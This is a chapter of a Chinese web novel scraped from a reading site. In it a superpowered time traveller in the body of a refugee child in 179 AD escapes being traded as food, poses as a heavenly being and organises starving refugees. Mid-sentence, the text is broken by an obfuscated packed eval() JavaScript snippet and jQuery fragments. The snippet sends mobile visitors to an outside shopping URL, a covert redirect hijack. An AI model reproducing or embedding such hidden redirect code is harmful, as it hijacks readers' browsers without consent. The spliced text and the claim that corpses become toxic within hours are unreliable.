默认冷灰
24号文字
方正启体

1. 活下去活得好

作者:辞一岁本书字数:K更新时间:
    “一钧稗谷,不能再少了!”


    “不成,你这女娃可没一钧重,再剃了骨头,连半钧也无……”


    “这可是肉,要不是自家人不忍心吃……”


    穆宁醒来,隐约听到两道陌生的争论声,所有混沌快速消失,她打了个哆嗦,迅速爬起身。


    正在讨价还价的两人不意她还能起来,声音一顿。


    其中一个年轻些的男子将她一把搂进怀里,双手捂住她的耳朵。


    穆宁反射性躲开,身体却没能跟上她的动作。


    一阵虚弱感袭来,是已经很陌生的长期饥饿夹杂着病痛造成的脱力。


    捂住她耳朵的手冰凉,皲裂的口子里是洗不掉的黑泥,她感觉耳朵被磨得有点痛。


    这是一双农民的手。


    紧接着她就发现了不对劲,她的身高只到这男子的大腿处。


    他们说的方言也绝不是她熟悉的基地里的任何一种。


    对面的男子衣衫褴褛,却也能看出这绝非现代的布料和服制。他的面颊凹陷,瘦若枯骨,明显长期营养不良。


    再抬头看搂着自己的男子,也是同样情态。就连她自己,随着神志恢复,也感觉到肚子因饥饿产生的一阵阵抽搐疼痛。


    两人的交谈还在继续,她也很快弄清楚了现在的情况。


    她穿越到古代一个小流民身上,正在被“易子而食”。


    她本人正是这场交易里的货物。


    捂她耳朵的男子是这具身体的姨夫,大约是还有点良心,不忍让她听到他们的交易过程。


    只是他不知道,异能者的听力异于常人,根本不是捂耳朵就能隔绝的。


    穆宁暗自调动异能,没人注意,她的手心突兀地出现一把小刀,又迅速消失。


    她嘴角翘了翘,很快压下。


    他们最终谈好用一钧未脱壳的稗谷交易,只等对方的家人拿过来就能成交。


    她必须想办法活下去。


    作为最稀有的双系异能者,她活下去的办法很多,但具体要选哪一种呢?


    把他们放进异度空间,或者用空间里的武器,杀了他们?


    不行,这两人虽说是背着人,但都是流民了,也没啥隐秘场所,不过是在一块大石头后面,稍微挡住视线而已。


    放眼望去,这里至少有几百号人。附近都至少几十人,大多一脸菜色,席地而坐,时不时往这边张望几眼。


    她要杀人绝对躲不开其他人的视线,到时他们是会恐惧逃走,还是将她视为妖邪,不顾一切也要杀了她?


    这个陌生的时代、思想,她不了解这里的人,不能冒险。


    或者她可以拿出食物?


    她的空间囤货很多,养这些流民绰绰有余。


    但她不想这么做,至少不是为了保命这种卑微的方式。


    如果让他们知道,只要威胁到她的生命,她就会拿出食物,会是什么后果?


    会不会有凶恶之人企图控制住她,成为自己的移动粮仓?


    她的确可以杀一些人,但她的异能是有限的,异能耗光后呢?


    而且,这是一群快饿死的流民。杀穷凶极恶之徒她从不手软,但面对一群快要饿死逼不得已易子而食的人,她冷硬的心没法这么快硬起来。


    这是一片野地,极目远眺,稀稀拉拉散落着衣不蔽体的流民们。


    他们三三俩俩聚集在一起,每个小聚落之间又隔着不近不远的距离,大多形销骨立,神情麻木。


    有一女子正哭嚎着,似是刚发现有亲人死去。只是那哭声也细弱,很快被家人拉走。


    尸体也被拖走,她不用猜也知道是拖去干什么了。


    活人尚且不能幸免,何况死人?


    之所以那么急切,连留给亲人痛苦哀悼的一点时间都没有,不过是,人死亡后尸体在一到三个小时内就会产生组胺和毒性,便不能吃了。


    看着那哭嚎的妇人,双手合十叩拜祈求老天的流民们,她下了决心。


    *


    刘老二家的按照丈夫的吩咐,拿了一袋子稗谷过来,因为没有称量工具,她也只能估摸着一钧的分量。


    尽量不让自家吃亏,也不让穆家村那汉子有什么话说。


    她把布袋递过去,“你拿布袋子来了没?”状似随口一说,其实她正拿眼偷覷着眼前这汉子的脸色。


    这里肯定是没有一钧的,但也少不了多少,都这时候了,谅他也说不出不交易的话来。


    再不交易,那囡囡臭了可就卖不出去了。


    两个男人站在原地,却不见之前那小囡。她这才想起来,自家要买的囡囡呢?


    “啊!”


    此起彼伏的惊呼声中,刘老二家的循声望去,随即手里的布袋掉落,砸到脚她都不觉得疼。


    老天爷啊,她看到了什么?


    炽烈的太阳下,一个小小女童站在大石块上,身后是巨大的天幕,天幕的正中,有光。


    那是一道无边的金光,像她这样的农妇是不太懂如何计量的,说不清是多少丈,只知道这天上的幕比地主老爷家的田还要大。


    那女童站在天幕的正下方,她的表情与普通女童完全不同。


    那是一种近乎神性的平静、从容,更多的她也说不上来,总之她见过的几岁的女童绝不会做出这种表情。


    那金光耀目到比太阳还刺眼,她双眼几乎流下泪来。


    吴娟只觉手脚软趴趴,整个人一下扑倒在地上,口里含糊不清地呢喃着:“天人降世,天人降世!”


    穆宁站在大石头上,看着眼前这一幕。


    野地里已经没有站着的人了,所有人或跪或趴,均是嘴里念念有词地叩拜,甚至还有五体投地的、吓尿的。


    种种情态不一而足。


    只有一个女人连滚带爬地朝她奔来,最后停在她脚下,似乎是因惊吓过度而爬不上石块,只能趴在她脚边嚎哭着:


    “老天爷你要带走小妹了吗?小妹,姨娘对不起你,对不起你娘啊……”


    姨娘是某些地方对姨妈的昵称,原身叫她姨娘,想必两人关系不错。


    她当然不会考虑她是刚刚那个男子的小妾这种可能,古代农民家庭,能娶妻已经不错,哪能养得起小妾?


    她的眼睛红肿,一看就是哭了多时,手腕上还有绳子的勒痕,想必她是不同意她的丈夫拿她换粮食的吧?


    她冷硬的心有一瞬间的柔软,更坚定了接下来要做的事。


    趁所有人还在跪拜没回过神,她迅速从空间拿出一千个小面包,走到流民中挨个分发。


    有的人已经回过神,接过面包又要下跪,她赶紧制止,让他们和自己一起分发。


    很快分发完毕,只是对着这前所未见的新鲜物事,众人都是一脸茫然,甚至不知道是做什么用的。


    穆宁很快回到大石块上,像之前那样站好,然后演示怎么撕开包装。


    这很好懂,大家一看便会,此前只是不知道这金黄色透明包装的东西能吃而已。


    大家便立刻学着她的样子,撕开包装吃了起来。


    稍远些的人看不见,或是眼神不好的,也在其余人的帮助下学会了打开包装,狼吞虎咽地吃起来。


    吴娟也分到一个小面包,还是天人亲自塞到她怀里的。


    刚刚天人到她面前时,她连头也不敢抬,脑袋也完全是眩晕的,天人好像和她说了句什么,但她完全没听清。


    她脑海里充斥的是:她是不是要死了,否则怎么会看见天人降世?天人就算救苦救难,也不会看到她这样面朝黄土的泥腿子吧?


    还是说她已经死了?所以才能看见天人?


    直到小面包被她本能地塞进嘴里,那此生都没尝试过的甜蜜柔软在舌尖跳舞,她才确信,她肯定是死了!


    人间哪有这样的美味?别说吃过,是没见过,也不曾听过!


    她不舍地吃完最后一口,又把包装纸也舔得干干净净,才抬头问丈夫:


    “老二,你是怎么死的?我又是怎么死的,我怎么不记得了?”


    刘老二也一脸如在梦中:“我哪里知道呢?兴许是天公看我们可怜,派天人来超度。”


    他也完全没怀疑妻子说他们已经死了的事。


    听了丈夫的话,吴娟倒是不解道:“天公不该是男的吗,怎么是个女娃?”


    这话却没人解答。


    倒是旁边一个邻村的汉子惊叫道:“怎么人死了还有影子?!”


    刘老二夫妇低头看自己脚下,果然有影子,身上虽还是冷飕飕地,但也能感觉到刚刚吃下去的食物带来的一点饱足。


    “我们没死,天人降世来救我们了!”


    回过神来,刘老二欢呼,众人回过神也跟着欢呼起来。


    一时间,欢悦的叫喊声此起彼伏。


    又是好一通感激叩拜,刘老二甚至想让天人把自己的手收走,作为他刚刚想买天人吃肉恶行的惩罚。


    当然被穆宁拒绝了。


    等流民们稍微冷静一点后,她就让流民里的族长、村长之类的人物来开会。


    众人到齐后,穆宁来了。


    十几人聚集在大石头下,从中年到老年都有,清一色全是男子。


    穆宁也不意外。这在现代都不是什么奇怪的事,何况男尊女卑的古代?


    其中一个白须老者双膝跪地,双手铺地,恭恭敬敬行了个稽首礼。


    其他人也要效仿,穆宁赶紧制止。


    口称:“怎么当得起耆老的大礼?”


    稽首礼在有些朝代是是面见皇帝的礼仪,也是最高礼仪。她如果坦然受之,他们嘴上不说,心里肯定会犯嘀咕。


    而且她也没打算一直维持“天人”的身份,白天那样做,也是逼不得已。


    果然,他们起来后,面色都好了很多。原本隐隐的恐惧似乎消散了些。


    穆宁知道,面对未知的事物,恐惧、敬而远之才是正常态度。


    下午她分发食物的时候,流民们都在长期饥饿的折磨下无瑕思考太多,进食是本能。


    而在吃了一点东西,有了一丝力气之后,他们便开始思考,很自然地对无法理解的事物产生了恐惧。


    人类与天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154479|196519||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人差别太大,敬畏“天人”的能力,以及可能的脾气,是小民生存的智慧。


    毕竟,天人能一挥手间赐予食物,那能否一挥手又杀死他们这些蝼蚁般的人类?


    穆宁用行动告诉他们,她也许和他们有诸多不同,但也遵守人间的道德准则,认为谦逊和尊老是美德。


    因为她的制止,其余人便只行了个顿首礼。


    好一番厮见,见礼结束后,她才问:“不知你们一行是因何成了流民?”


    几人对她话中不以自己为流民的潜台词没有任何异议,天人能是流民么?此刻的这具躯壳,说不定只是天人的暂居之所。


    众人面面相觑,最终一个须发皆白的老者出来说:


    “回天人的话,老朽是巴郡梓潼县刘家村里正刘禾,因春季大疫,死了不少壮劳力,十月又逢板楯蛮叛乱,附近村落被屠戮一空,只得阖族外逃,听说广汉郡阴平道招募流民屯田,老朽于是做主带族人往此地迁徙。”


    见他话中条理清晰,几句话交代清楚来龙去脉,他应是这群流民的临时首领一类的人物。


    古时流民迁徙多以族、村为单位,互相照应,其实不太会发生小说中那种流民们互不相识的情形。


    穆宁点头:“可知今年年号?你可识字?”


    刘老也不诧异,想来他们这些庄稼汉的些许小事,天人也不关心,不知道不也合情合理?


    至于年号,人间帝王年号常是几年就换一个,估摸着也引不起天人丝毫兴趣。


    于是拱手答道:“回天人,今年乃是光和二年。隶书老朽倒是识得几个,楷书便不通了。”


    穆宁有些头大:“别叫天人了,叫我名字,我叫穆宁。我看我们的队伍有些散漫,我欲要整顿,你们意下如何?”


    刘老有些踌躇,时下为尊者讳是礼法大节,轻忽不得,直接叫尊者的名字更是大不敬。又恐拂了天人好意,只能含糊道:“这……不知您想如何整顿?”


    对天人说的“我们”,他有一丝窃喜,这是否说明,天人并不打算只帮他们一次?


    他倒不是不想配合,就怕愚夫愚妇达不到天人的要求,被天人所弃。


    穆宁:“我欲以成人十人为一班,三十人为一排,一百人人为一连,五百人为一营,整编队伍,分别选出长官。”


    刘老抚须微笑,奉承道:“既您知兵事,小老儿只听命便是。”


    旁边一中年男子似乎有话,穆宁示意他说,那男子便开口道:“只不知妇孺老人如何安排?”


    穆宁看他一眼,微笑道:“成年男女皆编入伍,分男女班,女班由女子担任长官。五十以上老者及十三岁以下孩童编入后勤班。我欲教所有人识字,不分男女老少贤愚。”


    穆宁微笑着,似乎丝毫没察觉自己这番话将会在流民中引起怎样的轩然大波,至少在场的十几人全都骚动起来。


    “当真?!”


    “天人慈悲!”


    他们根本没想过反驳天人让女子担任女班长官的话,女班不让女子领头,让男子领头,万一那男子心思不纯,干坏事怎么办?


    他们都是阖家,甚至阖族迁徙的,自家女眷也会编入女班,因此不但不反对,还觉得天人实在洞察人心。


    至于天人要教他们识字,更是让他们欣喜感激以至流泪。


    要知道就连他们这些村长、里正,在村中有些特权,识字的也不过五六成而已,中原地区文教发达,要更高一些,能达到七八成。


    里正负责户籍登记、徭役摊派,不识字者难以胜任。他们在场的倒有一多半是不识字的,这当然是不正常的情况,但正常情况下,村长里正也不会成为流民。


    会议结束时已暮色四合,穆宁就让他们第二天一早分组。此时的百姓大多有夜盲症,流民长期营养不良,夜晚视力更低。摸黑分组是不成的,流民们也惧怕少的可怜的家伙什被偷。


    刘老和一干人等带着穆宁下达的任务去守夜了,穆宁吩咐他们在营地的外围燃气篝火,防止野兽侵袭。


    通过刚才的谈话才知,刘老其实不过三十多岁,时下人均寿命极短,三十多岁便足以称老夫了。


    穆宁让他们明早再行分组,并让领头的告诉大家,明早还有吃的。


    野地里不时传来一阵阵小规模的欢呼声,应该是口口相传得知了明早有吃的的消息。


    等人都走了,她才得以复盘这一天发生的事。


    她穿到了光和二年,这个年号不算很出名,但对于历史爱好者来说,如雷贯耳。


    光和二年便是公元 179 年,大名鼎鼎的黄巾起义就发生在光和七年,也称为光和末年。


    还有五年,黄巾起义就要爆发了。


    除了兵祸,汉末还有各种瘟疫、旱涝交替、地震,一副末世景象。


    白骨露于野,千里无鸡鸣。生民百遗一,念之断人肠。


    这句诗就是这个时代最真实的写照。


    在这乱世中,她该如何生存下去,且还要活得好呢?


    是做个顺民,随波逐流,还是投入到这天下洪流中去,逐鹿中原?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)